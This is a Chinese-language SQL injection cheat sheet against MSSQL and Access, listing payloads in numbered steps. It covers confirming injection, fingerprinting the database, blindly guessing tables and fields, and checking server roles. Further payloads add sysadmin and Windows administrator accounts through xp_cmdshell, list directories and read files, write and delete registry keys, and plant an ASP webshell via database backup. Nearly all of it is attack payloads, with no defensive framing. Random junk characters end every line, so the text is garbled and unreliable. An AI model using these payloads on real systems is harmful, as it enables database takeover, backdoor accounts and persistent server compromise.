1.判断是否有注入;and 1=1 ;and 1=2 "Z]z9(
2.初步判断是否是mssql ;and user>0 *&BS[0;
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3.注入参数是字符'and [查询条件] and ''=' G-[.BWQ
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' sTmdoqTK!
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5.判断数据库系统 p~yGp]yJ9
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;and (select count(*) from sysobjects)>0 mssql #BW:*$>}
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;and (select count(*) from msysobjects)>0 access O`f[9^fN
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 LMRq.wxbbB
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 }u+cS[#-
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $u cmE
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9.(1)猜字段的ascii值(access) S0WKEv@Hn
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(2)猜字段的ascii值(mssql) =`g@6S
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10.测试权限结构(mssql) 2CRgOFR
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ldWrv7.P
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- '3]M1EP
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- M.K%;j`
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- r*g<A2g%
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- "b[w%KYyl
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- nEgYypwr
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;and 1=(select IS_MEMBER('db_owner'));-- ;3&HZq6Z (
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11.添加mssql和系统的帐户 r:5u(2
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;exec master.dbo.sp_addlogin username;-- Xcb'qU!2-^
;exec master.dbo.sp_password null,username,password;-- {YIf rM
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- H|z:j35\
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;exec master.dbo.xp_cmdshell 'net user username password ^]TYS]C
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- pwmH(94$0
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- MNocXK
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12.(1)遍历目录 9uW\~DwsZ%
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;create table dirs(paths varchar(100), id int) :xZ^Jq91
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;insert dirs exec master.dbo.xp_dirtree 'c:\' [4b_`L
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;and (select top 1 paths from dirs)>0 C%Fc%}[
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) I*0TI@Lo
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(2)遍历目录 :y^%I xs{1
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1Wb_>`;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 h[oI/X
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 A;7At!kK
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Bn5$TiTcl
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 a1gaB:w5n
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13.mssql中的存储过程 lH"4"r
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xp_regenumvalues 注册表根键, 子键 '<Jqp7$dL
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 c63yJqiW
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xp_regread 根键,子键,键值名 (}MN16!
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,Kwtp)EX
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xp_regwrite 根键,子键, 值名, 值类型, 值 @"L*!
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 V2IurDE
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xp_regdeletevalue 根键,子键,值名 -HUlB|Q8r
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 v_I)eac z
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 hYSf;cG}A
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14.mssql的backup创建webshell {R}Kt;L:Ut
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use model WbGN
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create table cmd(str image); 1[ 40\ sM
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insert into cmd(str) values (''); LuvRxmQ`
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backup database model to disk='c:\l.asp'; E{xcu9
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15.mssql内置函数 U flS`
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;and (select @@version)>0 获得Windows的版本号 6 B*,Mu4A
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Z^O_7I<5E
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;and (select user_name())>0 爆当前系统的连接用户 rLp (}^
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;and (select db_name())>0 得到当前连接的数据库 D
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16.简洁的webshell J1"16Uu
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use model XxLauJP
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create table cmd(str image); ;-6
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insert into cmd(str) values (''); dT'd C
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backup database model to disk='g:\wwwtest\l.asp';